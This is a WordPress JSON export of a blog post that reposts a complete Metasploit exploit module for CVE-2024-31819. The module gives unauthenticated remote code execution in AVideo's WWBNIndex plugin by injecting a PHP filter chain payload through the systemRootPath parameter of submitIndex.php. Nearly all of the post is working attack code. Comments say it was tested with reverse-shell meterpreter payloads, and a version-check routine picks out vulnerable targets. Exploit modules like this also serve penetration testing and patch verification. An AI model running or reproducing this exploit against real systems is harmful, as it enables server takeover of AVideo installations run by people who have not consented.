{"id":56993,"date":"2024-05-22T19:30:13","date_gmt":"2024-05-22T15:30:13","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178659\/avideo_wwbnindex_unauth_rce.rb.txt"},"modified":"2024-05-22T19:30:13","modified_gmt":"2024-05-22T15:30:13","slug":"avideo-wwbnindex-plugin-unauthenticated-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/avideo-wwbnindex-plugin-unauthenticated-remote-code-execution\/","title":{"rendered":"AVideo WWBNIndex Plugin Unauthenticated Remote Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Exploit::Remote::HTTP::PhpFilterChain<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;AVideo WWBNIndex Plugin Unauthenticated RCE&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits an unauthenticated remote code execution (RCE) vulnerability<br \/>in the WWBNIndex plugin of the AVideo platform. The vulnerability exists within the<br \/>`submitIndex.php` file, where user-supplied input is passed directly to the `require()`<br \/>function without proper sanitization. By exploiting this, an attacker can leverage the<br \/>PHP filter chaining technique to execute arbitrary PHP code on the server. This allows<br \/>for the execution of commands and control over the affected system. The exploit is<br \/>particularly dangerous because it does not require authentication, making it possible<br \/>for any remote attacker to exploit this vulnerability.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Valentin Lobstein&#8217;<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2024-31819&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/WWBN\/AVideo&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/chocapikk.com\/posts\/2024\/cve-2024-31819&#8217;]],<br \/>&#8216;Platform&#8217; =&gt; [&#8216;php&#8217;, &#8216;unix&#8217;, &#8216;linux&#8217;, &#8216;win&#8217;],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_PHP, ARCH_CMD],<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;PHP In-Memory&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; &#8216;php&#8217;,<br \/>&#8216;Arch&#8217; =&gt; ARCH_PHP<br \/># tested with php\/meterpreter\/reverse_tcp<br \/>}<br \/>],<br \/>[<br \/>&#8216;Unix In-Memory&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; [&#8216;unix&#8217;, &#8216;linux&#8217;],<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD<br \/># tested with cmd\/linux\/http\/x64\/meterpreter\/reverse_tcp<br \/>}<br \/>],<br \/>[<br \/>&#8216;Windows In-Memory&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD<br \/># tested with cmd\/windows\/http\/x64\/meterpreter\/reverse_tcp<br \/>}<br \/>],<br \/>],<br \/>&#8216;Privileged&#8217; =&gt; false,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-04-09&#8217;,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS, ARTIFACTS_ON_DISK]},<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;SSL&#8217; =&gt; true,<br \/>&#8216;RPORT&#8217; =&gt; 443,<br \/>&#8216;FETCH_WRITABLE_DIR&#8217; =&gt; &#8216;\/tmp&#8217;<br \/>}<br \/>)<br \/>)<br \/>end<\/p>\n<p>def exploit<br \/>php_code = &#8220;&lt;?php #{target[&#8216;Arch&#8217;] == ARCH_PHP ? payload.encoded : &#8220;system(base64_decode(&#8216;#{Rex::Text.encode_base64(payload.encoded)}&#8217;));&#8221;} ?&gt;&#8221;<br \/>filter_payload = generate_php_filter_payload(php_code)<br \/>res = send_request_cgi(<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;plugin&#8217;, &#8216;WWBNIndex&#8217;, &#8216;submitIndex.php&#8217;),<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/x-www-form-urlencoded&#8217;,<br \/>&#8216;data&#8217; =&gt; &#8220;systemRootPath=#{filter_payload}&#8221;<br \/>)<br \/>print_error(&#8220;Server returned #{res.code}. Successful exploit attempts should not return a response.&#8221;) if res&amp;.code<br \/>end<\/p>\n<p>def check<br \/>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;index.php&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;follow_redirect&#8217; =&gt; true<br \/>})<br \/>return CheckCode::Unknown(&#8216;Failed to connect to the target.&#8217;) unless res<br \/>return CheckCode::Unknown(&#8220;Unexpected HTTP response code: #{res.code}&#8221;) unless res.code == 200<\/p>\n<p>version_match = res.body.match(\/Powered by AVideo \u00ae Platform v([\\d.]+)\/) || res.body.match(\/&lt;!&#8211;.*?v:([\\d.]+).*?&#8211;&gt;\/m)<br \/>return CheckCode::Unknown(&#8216;Unable to extract AVideo version.&#8217;) unless version_match &amp;&amp; version_match[1]\n<p>version = Rex::Version.new(version_match[1])<br \/>plugin_check = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;plugin&#8217;, &#8216;WWBNIndex&#8217;, &#8216;submitIndex.php&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;<br \/>})<br \/>unless plugin_check&amp;.code == 200<br \/>CheckCode::Safe(&#8216;Vulnerable plugin WWBNIndex was not detected&#8217;)<br \/>end<\/p>\n<p>if version.between?(Rex::Version.new(&#8216;12.4&#8217;), Rex::Version.new(&#8216;14.2&#8217;))<br \/>return CheckCode::Appears(&#8220;Detected vulnerable AVideo version: #{version}, with vulnerable plugin WWBNIndex running.&#8221;)<br \/>end<\/p>\n<p>CheckCode::Safe(&#8220;Detected non-vulnerable AVideo version: #{version}&#8221;)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::Remote::HTTP::PhpFilterChainprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;AVideo WWBNIndex Plugin Unauthenticated RCE&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits an unauthenticated remote code execution (RCE) vulnerabilityin the WWBNIndex plugin of the AVideo platform. The vulnerability exists within the`submitIndex.php` file, where user-supplied &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56993","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56993","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56993"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56993\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56993"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56993"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56993"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}